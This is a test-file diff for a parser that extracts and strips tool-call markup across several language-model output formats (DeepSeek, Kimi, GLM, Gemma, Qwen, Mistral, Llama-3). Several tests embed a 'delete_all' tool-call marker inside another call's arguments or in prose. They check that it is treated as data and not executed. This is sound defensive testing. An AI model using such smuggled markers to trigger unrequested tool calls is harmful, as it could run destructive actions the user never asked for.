+def test_routes_layer_strip_removes_deepseek_envelope():
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = (
+        "before "
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁call▁end｜>"
+        "<｜tool▁calls▁end｜>"
+        " after"
+    )
+    stripped = _routes_strip(text)
+    assert stripped == "before  after"
+
+
+def test_routes_layer_strip_removes_kimi_section():
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = (
+        "before "
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"x"}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+        " after"
+    )
+    stripped = _routes_strip(text)
+    assert stripped == "before  after"
+
+
+def test_routes_layer_strip_removes_glm_block():
+    """``<tool_call>.*?</tool_call>`` covers GLM via the Qwen pattern."""
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = (
+        "before "
+        "<tool_call>web_search\n"
+        "<arg_key>q</arg_key>\n<arg_value>x</arg_value>\n"
+        "</tool_call>"
+        " after"
+    )
+    stripped = _routes_strip(text)
+    assert stripped == "before  after"
+
+
+# strip_tool_markup (parser-level finalise path) over the new families
+
+
+def test_strip_tool_markup_handles_deepseek_envelope():
+    text = (
+        "before "
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁call▁end｜>"
+        "<｜tool▁calls▁end｜>"
+        " after"
+    )
+    stripped = strip_tool_markup(text, final = True)
+    assert "before" in stripped and "after" in stripped
+    assert "｜tool▁" not in stripped
+    assert "get_time" not in stripped and "Tokyo" not in stripped
+
+
+def test_strip_tool_markup_handles_kimi_section():
+    text = (
+        "before "
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"x"}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+        " after"
+    )
+    stripped = strip_tool_markup(text, final = True)
+    assert "before" in stripped and "after" in stripped
+    assert "tool_calls_section_begin" not in stripped
+
+
+# Round-2 review findings: GLM quoted-string / unclosed-arg, DeepSeek
+# strict terminator, nested wrapper-less Gemma strip
+
+
+def test_glm_quoted_string_arg_keeps_its_quotes():
+    # A GLM string value emitted verbatim that itself begins with a quote.
+    text = (
+        "<tool_call>web_search\n"
+        "<arg_key>query</arg_key>\n"
+        '<arg_value>"exact phrase"</arg_value>\n'
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["query"] == '"exact phrase"'
+
+
+def test_glm_unclosed_arg_value_is_rejected_in_strict_mode():
+    # Closing </tool_call> present but a value never closes: strict mode must reject
+    # the whole call rather than execute it with the argument silently dropped.
+    text = (
+        "<tool_call>web_search\n"
+        "<arg_key>query</arg_key>\n"
+        "<arg_value>Tokyo weather"  # no </arg_value>
+        "</tool_call>"
+    )
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    # With Auto-Heal the partial value is kept, not dropped to a no-arg call.
+    healed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(healed) == 1
+    args = json.loads(healed[0]["function"]["arguments"])
+    assert "Tokyo weather" in args.get("query", "")
+
+
+def test_deepseek_v3_missing_call_terminator_rejected_in_strict_mode():
+    # Envelope closes but the per-call <｜tool▁call▁end｜> is absent. Strict mode
+    # must reject (it is truncated/merged); Auto-Heal still parses it.
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁calls▁end｜>"  # envelope end only, no per-call end
+    )
+    assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+    healed = parse_tool_calls_from_text(text, allow_incomplete = True)
+    assert len(healed) == 1
+    assert healed[0]["function"]["name"] == "get_time"
+
+
+def test_deepseek_v3_with_call_terminator_parses_in_strict_mode():
+    # Sanity: a well-formed V3 call (with the per-call end marker) still parses
+    # under strict mode after the terminator check.
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        '<｜tool▁sep｜>{"city":"Tokyo"}'
+        "<｜tool▁call▁end｜>"
+        "<｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_time"
+
+
+def test_strip_tool_markup_removes_nested_wrapperless_gemma_call():
+    # Wrapper-less Gemma call with a NESTED object arg: the balanced helper must strip the whole call, not leave a trailing ``}``.
+    text = "answer: call:f{loc:{city:NYC},n:3} done"
+    stripped = strip_tool_markup(text, final = True)
+    assert "call:f" not in stripped
+    assert "}" not in stripped
+    assert "answer:" in stripped and "done" in stripped
+
+
+# Pass-3 review findings: bare-Kimi streaming (non-final) strip symmetry
+# and the wrapper-less Gemma route-display strip
+
+
+def test_strip_tool_markup_non_final_removes_bare_kimi_call():
+    # A bare ``<|tool_call_begin|>...<|tool_call_end|>`` (no section wrapper): the CLOSED (final=False) strip must remove it too.
+    text = (
+        "before "
+        "<|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"x"}'
+        "<|tool_call_end|>"
+        " after"
+    )
+    stripped = strip_tool_markup(text, final = False)
+    assert "tool_call_begin" not in stripped
+    assert "tool_call_end" not in stripped
+    assert "before" in stripped and "after" in stripped
+
+
+def test_routes_layer_strip_removes_wrapperless_gemma_call():
+    # Gemma 4 (skip_special_tokens) emits a wrapper-less ``call:NAME{..}`` with no XML markers.
+    from routes.inference import _strip_tool_xml as _routes_strip
+
+    text = 'before call:web_search{query:"weather in Sydney"} after'
+    stripped = _routes_strip(text)
+    assert "call:web_search" not in stripped
+    assert "before" in stripped and "after" in stripped
+
+
+def test_deepseek_envelope_end_inside_arg_string_is_not_a_truncation():
+    # A DeepSeek V3.1 call whose argument string contains the literal envelope-end token must not be dropped.
+    content = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>web_search<｜tool▁sep｜>"
+        '{"query":"what does <｜tool▁calls▁end｜> mean"}'
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert len(calls) == 1, calls
+    assert calls[0]["function"]["name"] == "web_search"
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "what does <｜tool▁calls▁end｜> mean"
+    }
+
+
+def test_glm_value_containing_literal_arg_value_close_is_preserved():
+    # A GLM string argument may legitimately contain </arg_value>.
+    content = (
+        "<tool_call>run<arg_key>code</arg_key>"
+        '<arg_value>print("</arg_value>")</arg_value></tool_call>'
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert len(calls) == 1, calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("</arg_value>")'}
+
+
+def test_attribute_form_function_with_embedded_marker_runs_outer_call():
+    # <function name="outer"> is a supported envelope; a DeepSeek/Kimi marker inside one of its
+    # parameter values is data, not a second call.
+    content = (
+        '<function name="respond"><parameter name="answer">'
+        "The Kimi format is <|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|>"
+        "</parameter></function>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["respond"], calls
+
+
+def test_wrapperless_gemma_call_gated_by_enabled_tools():
+    # Once skip_special_tokens removes the <|tool_call> wrapper, call:NAME{...} is
+    # indistinguishable from prose documenting the Gemma syntax.
+    prose = "Here is an example of the syntax: call:foo{x:1}. That shows how tools work."
+    assert parse_tool_calls_from_text(prose, enabled_tool_names = {"web_search"}) == []
+    # The display strip is gated the same way, so the example survives in the answer.
+    assert "call:foo{x:1}" in strip_tool_markup(
+        prose, final = True, enabled_tool_names = {"web_search"}
+    )
+    # An enabled name is still a real call (parsed, and stripped from display).
+    real = "Answer. call:web_search{query:hi}"
+    calls = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert "call:web_search" not in strip_tool_markup(
+        real, final = True, enabled_tool_names = {"web_search"}
+    )
+
+
+def test_kimi_section_end_inside_arg_string_is_not_a_truncation():
+    # In a multi-call Kimi section, a later call whose argument holds the literal section-end token must not truncate the section.
+    content = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.search:0<|tool_call_argument_begin|>"
+        '{"q":"cats"}<|tool_call_end|>'
+        "<|tool_call_begin|>functions.explain:1<|tool_call_argument_begin|>"
+        '{"text":"the token <|tool_calls_section_end|> means end"}<|tool_call_end|>'
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(content)
+    assert [c["function"]["name"] for c in calls] == ["search", "explain"], calls
+    assert json.loads(calls[1]["function"]["arguments"]) == {
+        "text": "the token <|tool_calls_section_end|> means end"
+    }
+
+
+def test_closed_envelope_before_deepseek_block_owns_turn():
+    # Document order is the contract: a CLOSED <tool_call>/<function> call that precedes a
+    # DeepSeek/Kimi block owns the turn, even when prose frames it as an example.
+    deepseek = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>search_web\n"
+        "```json\n"
+        '{"query":"weather in Paris"}\n'
+        "```"
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    prose = (
+        'A Qwen call looks like <tool_call>{"name":"example_tool","arguments":{}}</tool_call>.\n'
+    )
+    calls = parse_tool_calls_from_text(prose + deepseek)
+    assert [c["function"]["name"] for c in calls] == ["example_tool"], calls
+
+    kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.lookup:0"
+        '<|tool_call_argument_begin|>{"id":7}<|tool_call_end|><|tool_calls_section_end|>'
+    )
+    calls_k = parse_tool_calls_from_text("Example: <function=demo>{}</function> and now:\n" + kimi)
+    assert [c["function"]["name"] for c in calls_k] == ["demo"], calls_k
+
+
+def test_marker_inside_closed_outer_envelope_still_runs_outer_call():
+    # The guard must fire when the marker sits INSIDE a closed outer <function>/<tool_call> envelope's arguments: the OUTER call wins.
+    outer = (
+        "<function=lookup><parameter=q>what does <｜tool▁calls▁begin｜> mean</parameter></function>"
+    )
+    calls = parse_tool_calls_from_text(outer)
+    # The outer envelope is the real call; the embedded DeepSeek marker must not
+    # hijack the parse into a spurious tool.
+    assert [c["function"]["name"] for c in calls] == ["lookup"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "q": "what does <｜tool▁calls▁begin｜> mean"
+    }
+
+
+def test_truncated_outer_envelope_with_embedded_marker_heals_outer_call():
+    # A TRUNCATED outer <function> call embedding a DeepSeek/Kimi marker in its argument still Auto-Heals as the outer call.
+    trunc = '<function=python><parameter=code>x = "<｜tool▁calls▁begin｜>sample"</parameter>'
+    calls = parse_tool_calls_from_text(trunc)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_python_tag_call_with_embedded_marker_runs_outer_call():
+    # ``<|python_tag|>`` is Llama-3's tool-call envelope, so a DeepSeek/Kimi example quoted
+    # in its argument is data: the OUTER python_tag call (``web_search``) must run, not the
+    # embedded marker (``delete_all``).
+    kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|><|tool_calls_section_end|>"
+    )
+    deepseek = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>delete_all<｜tool▁sep｜>{}"
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    for embedded in (kimi, deepseek):
+        builtin = '<|python_tag|>web_search.call(query="explain ' + embedded + '")'
+        calls = parse_tool_calls_from_text(builtin, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+        custom = (
+            '<|python_tag|>{"name":"web_search","parameters":'
+            '{"query":"explain ' + embedded + '"}}'
+        )
+        calls = parse_tool_calls_from_text(custom, enabled_tool_names = {"web_search"})
+        assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+
+    # A bare ``<|python_tag|>`` prose mention (no call shape) must NOT be treated as an
+    # envelope: a real Kimi call after it still parses (the call-shaped lookahead guard).
+    prose = "The token <|python_tag|> is used. " + kimi
+    calls = parse_tool_calls_from_text(prose)
+    assert [c["function"]["name"] for c in calls] == ["delete_all"], calls
+
+
+def test_gemma_wrapperless_quoted_value_with_comma_not_split():
+    # A wrapper-less Gemma call whose quoted value contains ``, key:``.
+    text = 'call:web_search{query:"weather, location: Boston", limit:3}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "weather, location: Boston",
+        "limit": 3,
+    }
+
+
+def test_literal_close_tag_in_xml_arg_before_marker_runs_outer_call():
+    # A literal ``</function>`` inside an outer XML argument (before a marker) is not the envelope close: the span reaches the REAL final close.
+    text = (
+        '<function=python><parameter=code>x = "</function> '
+        "<|tool_call_begin|>functions.delete_all:0<|tool_call_argument_begin|>{}"
+        '<|tool_call_end|>"</parameter></function>'
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_literal_tool_call_close_in_qwen_json_before_marker_runs_outer_call():
+    # A Qwen/Hermes <tool_call> whose JSON argument holds a literal </tool_call> then a marker must run the OUTER call.
+    text = (
+        '<tool_call>{"name":"search","arguments":{"query":"explain </tool_call> then '
+        "<|tool_call_begin|>functions.delete_all:0<|tool_call_argument_begin|>{}"
+        '<|tool_call_end|>"}}</tool_call>'
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert [c["function"]["name"] for c in calls] == ["search"], calls
+    # Back-to-back Qwen calls still parse independently (real-close span must keep the
+    # negative-lookahead that separates adjacent calls).
+    bb = (
+        '<tool_call>{"name":"a","arguments":{}}</tool_call>'
+        '<tool_call>{"name":"b","arguments":{}}</tool_call>'
+    )
+    assert [c["function"]["name"] for c in parse_tool_calls_from_text(bb)] == ["a", "b"]
+
+
+def test_r1_heal_keeps_later_call_when_first_omits_close_fence():
+    # DeepSeek R1 multi-call where the FIRST call has balanced JSON but omits its close
+    # fence/terminator, followed by a well-formed second call.
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n```json\n"
+        '{"city":"SF"}\n```'  # no <｜tool▁call▁end｜>
+        "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_time\n```json\n"
+        '{"tz":"UTC"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    heal = [c["function"]["name"] for c in parse_tool_calls_from_text(text)]
+    assert "get_time" in heal, heal
+    # Strict keeps the later well-formed call; heal must be a superset.
+    strict = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = False)
+    ]
+    assert set(strict) <= set(heal), (strict, heal)
+
+
+def test_wrapperless_gemma_nested_call_in_arg_is_not_a_second_call():
+    # A wrapper-less Gemma call whose quoted argument mentions another enabled tool must not execute that nested name.
+    text = 'call:web_search{query:"explain call:delete_all{target:files}"}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "explain call:delete_all{target:files}"
+    }
+    # Two genuinely separate calls still both parse.
+    two = "call:web_search{query:hi}call:get_time{tz:UTC}"
+    assert [
+        c["function"]["name"]
+        for c in parse_tool_calls_from_text(two, enabled_tool_names = {"web_search", "get_time"})
+    ] == ["web_search", "get_time"]
+
+
+def test_leading_bare_json_call_owns_quoted_gemma_snippet():
+    # Document order: a leading Llama-3.2 bare-JSON call with trailing prose owns the turn.
+    text = (
+        '{"name":"lookup","parameters":{"note":"use call:web_search{query:cats} for this"}}\n'
+        "That is the call I would make."
+    )
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "web_search"})
+    assert [c["function"]["name"] for c in calls] == ["lookup"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "note": "use call:web_search{query:cats} for this"
+    }
+
+    # Same with the ``;`` inter-call separator: both real calls parse, the
+    # quoted snippet still does not.
+    two = (
+        '{"name":"lookup","parameters":{"note":"see call:web_search{query:cats}"}};'
+        '{"name":"lookup","parameters":{"q":"second"}}'
+    )
+    calls_two = parse_tool_calls_from_text(two, enabled_tool_names = {"lookup", "web_search"})
+    assert [c["function"]["name"] for c in calls_two] == ["lookup", "lookup"], calls_two
+
+
+def test_leading_gemma_call_still_wins_over_trailing_json_example():
+    # Reverse control: a real leading Gemma call followed by a bare-JSON example keeps the Gemma call (bare JSON matches only a LEADING object).
+    text = 'call:web_search{query:cats} Example JSON: {"name":"demo_tool","parameters":{}}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "demo_tool"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+
+    # And prose-only enabled Gemma syntax (no leading JSON) still promotes: the
+    # markerless by-design behaviour is unchanged.
+    prose = "You can run call:web_search{query:cats} to search."
+    calls_p = parse_tool_calls_from_text(prose, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls_p] == ["web_search"], calls_p
+
+
+def test_leading_gemma_call_owns_quoted_mistral_trigger():
+    # A leading wrapper-less Gemma call whose argument quotes a Mistral trigger must win: the [TOOL_CALLS] literal is data.
+    text = 'call:web_search{query:"docs say [TOOL_CALLS]delete_all{}"}'
+    calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "query": "docs say [TOOL_CALLS]delete_all{}"
+    }
+
+    # Reverse control: a real leading Mistral call still parses normally.
+    real = '[TOOL_CALLS]delete_all{"x":1}'
+    calls_m = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls_m] == ["delete_all"], calls_m
+
+    # A DISABLED Gemma example quoting the trigger is dropped as prose and a
+    # real call after it still parses (drop-the-span recursion).
+    mixed = (
+        'Example: call:demo{note:"see [TOOL_CALLS]delete_all{}"}\n'
+        '[TOOL_CALLS]web_search{"q":"real"}'
+    )
+    calls_d = parse_tool_calls_from_text(mixed, enabled_tool_names = {"web_search", "delete_all"})
+    assert [c["function"]["name"] for c in calls_d] == ["web_search"], calls_d
+
+
+def test_chained_bare_json_owns_kimi_marker_in_later_call():
+    # Document order: two ;-chained bare-JSON calls own the turn even when the second's argument quotes a complete Kimi snippet.
+    kimi = (
+        "<|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|>"
+    )
+    two = (
+        '{"name":"lookup","parameters":{"q":"first"}};'
+        '{"name":"lookup","parameters":{"note":"' + kimi + '"}}'
+    )
+    calls = parse_tool_calls_from_text(two, enabled_tool_names = {"lookup", "delete_all"})
+    assert [c["function"]["name"] for c in calls] == ["lookup", "lookup"], calls
+
+    # Reverse control: prose followed by a real Kimi block still parses.
+    real = "Let me check.\n<|tool_calls_section_begin|>" + kimi + "<|tool_calls_section_end|>"
+    calls_k = parse_tool_calls_from_text(real, enabled_tool_names = {"lookup", "delete_all"})
+    assert [c["function"]["name"] for c in calls_k] == ["delete_all"], calls_k
+
+    # A closed leading Mistral call preceding a trailing Kimi example owns the
+    # turn too (same closed-call-precedes-marker rule).
+    mistral = '[TOOL_CALLS]lookup{"q":"first"} then example ' + kimi
+    calls_m = parse_tool_calls_from_text(mistral, enabled_tool_names = {"lookup", "delete_all"})
+    assert [c["function"]["name"] for c in calls_m] == ["lookup"], calls_m
+
+
+def test_nested_gemma_values_keep_commas_and_parens():
+    # Nested wrapper-less Gemma mappings/arrays use the top-level delimiter rules, so nested arguments are not split.
+    calls = parse_tool_calls_from_text(
+        "call:python{opts:{code:print(1,2),lang:py}}", enabled_tool_names = {"python"}
+    )
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "opts": {"code": "print(1,2)", "lang": "py"}
+    }
+
+    arr = parse_tool_calls_from_text(
+        "call:python{opts:[1,2,{a:f(1,2)}]}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(arr[0]["function"]["arguments"]) == {"opts": [1, 2, {"a": "f(1,2)"}]}
+
+    prose_comma = parse_tool_calls_from_text(
+        "call:python{opts:{note:hello, world}}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(prose_comma[0]["function"]["arguments"]) == {"opts": {"note": "hello, world"}}
+
+    quoted = parse_tool_calls_from_text(
+        'call:python{opts:{q:say "a, b" now,n:3}}', enabled_tool_names = {"python"}
+    )
+    assert json.loads(quoted[0]["function"]["arguments"]) == {
+        "opts": {"q": 'say "a, b" now', "n": 3}
+    }
+
+    # Controls: nested quoted values and multi-key mappings are unchanged, and
+    # a truncated nested value still falls back to the raw string.
+    nested_q = parse_tool_calls_from_text(
+        'call:python{loc:{city:"New York"}}', enabled_tool_names = {"python"}
+    )
+    assert json.loads(nested_q[0]["function"]["arguments"]) == {"loc": {"city": "New York"}}
+    multi = parse_tool_calls_from_text(
+        "call:python{opts:{a:1,b:2},n:3}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(multi[0]["function"]["arguments"]) == {"opts": {"a": 1, "b": 2}, "n": 3}
+    trunc = parse_tool_calls_from_text(
+        "call:python{opts:{code:print(1,2}}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(trunc[0]["function"]["arguments"]) == {"opts": "{code:print(1,2}"}
+
+
+def test_multi_gemma_calls_own_turn_over_signal_in_later_call():
+    # Document order: when the first enabled Gemma call closes before the first foreign signal, the leading call still owns the turn.
+    en = {"get_time", "web_search", "delete_all"}
+    both = parse_tool_calls_from_text(
+        'call:get_time{} call:web_search{query:"docs say [TOOL_CALLS]delete_all{}"}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in both] == ["get_time", "web_search"], both
+    assert json.loads(both[1]["function"]["arguments"]) == {
+        "query": "docs say [TOOL_CALLS]delete_all{}"
+    }
+
+    # XML and Kimi markers in the later call's strings stay data too.
+    xml = parse_tool_calls_from_text(
+        'call:get_time{} call:web_search{query:"see <tool_call>delete_all</tool_call>"}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in xml] == ["get_time", "web_search"], xml
+    kimi = parse_tool_calls_from_text(
+        'call:get_time{} call:web_search{query:"see <|tool_call_begin|>'
+        'functions.delete_all:0<|tool_call_argument_begin|>{}<|tool_call_end|>"}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in kimi] == ["get_time", "web_search"], kimi
+
+    # A trailing prose example after the closed leading call defers the same way.
+    prose = parse_tool_calls_from_text(
+        "call:get_time{} Example: [TOOL_CALLS]delete_all{}", enabled_tool_names = en
+    )
+    assert [c["function"]["name"] for c in prose] == ["get_time"], prose
+
+
+def test_multi_gemma_ownership_reverse_controls():
+    # A real leading Mistral/XML call with a trailing Gemma example keeps the leading call; a signal before every Gemma call keeps normal order.
+    en = {"get_time", "web_search", "delete_all"}
+    mistral = parse_tool_calls_from_text(
+        '[TOOL_CALLS][{"name":"delete_all","arguments":{}}] Example: call:web_search{query:cats}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in mistral] == ["delete_all"], mistral
+    xml_first = parse_tool_calls_from_text(
+        '<tool_call>{"name":"delete_all","arguments":{}}</tool_call> call:web_search{query:cats}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in xml_first] == ["delete_all"], xml_first
+    agnostic = parse_tool_calls_from_text(
+        'call:foo{} <tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+    )
+    assert [c["function"]["name"] for c in agnostic] == ["delete_all"], agnostic
+
+
+def test_disabled_leading_bare_json_does_not_hide_later_marker_call():
+    # A leading bare-JSON object with a NOT-enabled name is prose: the real DeepSeek/Kimi call after it still parses.
+    kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"cats"}<|tool_call_end|><|tool_calls_section_end|>'
+    )
+    calls = parse_tool_calls_from_text(
+        '{"name":"draft","parameters":{}} ' + kimi, enabled_tool_names = {"web_search"}
+    )
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {"q": "cats"}
+
+    deepseek = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n"
+        '```json\n{"q":"cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    calls_ds = parse_tool_calls_from_text(
+        '{"name":"draft","parameters":{}} ' + deepseek, enabled_tool_names = {"web_search"}
+    )
+    assert [c["function"]["name"] for c in calls_ds] == ["web_search"], calls_ds
+
+
+def test_disabled_leading_bare_json_ownership_controls():
+    kimi_delete = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|><|tool_calls_section_end|>"
+    )
+    # ENABLED leading name still owns the turn (document order, the shipped
+    # inside-or-after rule).
+    owns = parse_tool_calls_from_text(
+        '{"name":"web_search","parameters":{"q":"first"}} ' + kimi_delete,
+        enabled_tool_names = {"web_search", "delete_all"},
+    )
+    assert [c["function"]["name"] for c in owns] == ["web_search"], owns
+    # A marker INSIDE the disabled object's own strings stays data: the span
+    # is prose, the tail holds no call, so nothing parses.
+    inside = parse_tool_calls_from_text(
+        '{"name":"draft","parameters":{"note":"see <|tool_call_begin|>functions.delete_all:0'
+        '<|tool_call_argument_begin|>{}<|tool_call_end|>"}}\nsome trailing prose',
+        enabled_tool_names = {"web_search", "delete_all"},
+    )
+    assert inside == [], inside
+    # Nameless leading JSON answers keep recursing to the real call.
+    nameless = parse_tool_calls_from_text(
+        '{"answer":42} ' + kimi_delete, enabled_tool_names = {"delete_all"}
+    )
+    assert [c["function"]["name"] for c in nameless] == ["delete_all"], nameless
+    # Name-agnostic path unchanged: the leading object is the call.
+    agnostic = parse_tool_calls_from_text('{"name":"draft","parameters":{}} ' + kimi_delete)
+    assert [c["function"]["name"] for c in agnostic] == ["draft"], agnostic
+
+
+def test_leading_json_answer_with_prose_keeps_quoted_gemma_snippet_as_data():
+    # A LEADING JSON answer followed by prose is data (same contract as the whole-content JSON exemption).
+    obj = '{"summary":"use call:web_search{query:cats} to search"}\nHope that helps!'
+    assert parse_tool_calls_from_text(obj, enabled_tool_names = {"web_search"}) == []
+    arr = '["use call:web_search{query:cats} to search"]\nHope that helps!'
+    assert parse_tool_calls_from_text(arr, enabled_tool_names = {"web_search"}) == []
+    assert strip_tool_markup(obj, enabled_tool_names = {"web_search"}) == obj
+
+    # A REAL call in the tail after the answer still parses (and strips).
+    tail = '{"summary":"done"}\ncall:web_search{query:cats}'
+    calls = parse_tool_calls_from_text(tail, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+
+    # A leading brace run that is NOT valid JSON gets no exemption.
+    not_json = "{not json} call:web_search{query:cats}"
+    calls_nj = parse_tool_calls_from_text(not_json, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls_nj] == ["web_search"], calls_nj
+
+
+def test_glm_heal_bounds_unclosed_value_at_tool_call_close():
+    # Auto-Heal: a value missing only its </arg_value> before the block's </tool_call> heals to the
+    # value text, not the close tag and everything after it swallowed into the argument.
+    one = "<tool_call>get_weather<arg_key>city</arg_key><arg_value>NYC</tool_call>"
+    calls = parse_tool_calls_from_text(one, allow_incomplete = True)
+    assert [c["function"]["name"] for c in calls] == ["get_weather"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {"city": "NYC"}
+
+    # Trailing prose after the close stays out of the healed value.
+    two = one + "\nLet me check that for you."
+    calls_two = parse_tool_calls_from_text(two, allow_incomplete = True)
+    assert json.loads(calls_two[0]["function"]["arguments"]) == {"city": "NYC"}
+
+    # Strict mode still rejects the unclosed value outright.
+    assert parse_tool_calls_from_text(one, allow_incomplete = False) == []
+
+    # A value truncated at EOF (no structural tag follows) keeps the partial heal, and a proper
+    # close whose value holds a literal </tool_call> is untouched by the bounding.
+    eof = "<tool_call>get_weather<arg_key>city</arg_key><arg_value>New York Ci"
+    calls_eof = parse_tool_calls_from_text(eof, allow_incomplete = True)
+    assert json.loads(calls_eof[0]["function"]["arguments"]) == {"city": "New York Ci"}
+    lit = (
+        "<tool_call>get_weather<arg_key>city</arg_key>"
+        '<arg_value>print("</tool_call>")</arg_value></tool_call>'
+    )
+    calls_lit = parse_tool_calls_from_text(lit, allow_incomplete = True)
+    assert json.loads(calls_lit[0]["function"]["arguments"]) == {"city": 'print("</tool_call>")'}
+
+
+def test_prose_mentioning_ds_kimi_markers_survives_final_strip():
+    # False-alarm literals: the trailing strip arms require a call-shaped
+    # lookahead, so an answer documenting a marker keeps its tail.
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    for text in [
+        "The Kimi marker <|tool_calls_section_begin|> starts a section.",
+        "DeepSeek uses <｜tool▁calls▁begin｜> to open calls.",
+        "See <|tool_call_begin|> in the docs.",
+    ]:
+        assert strip_tool_markup(text, final = True) == text
+
+    # Truncated REAL calls still drop, and a bare marker at EOF is a fragment.
+    truncated_kimi = (
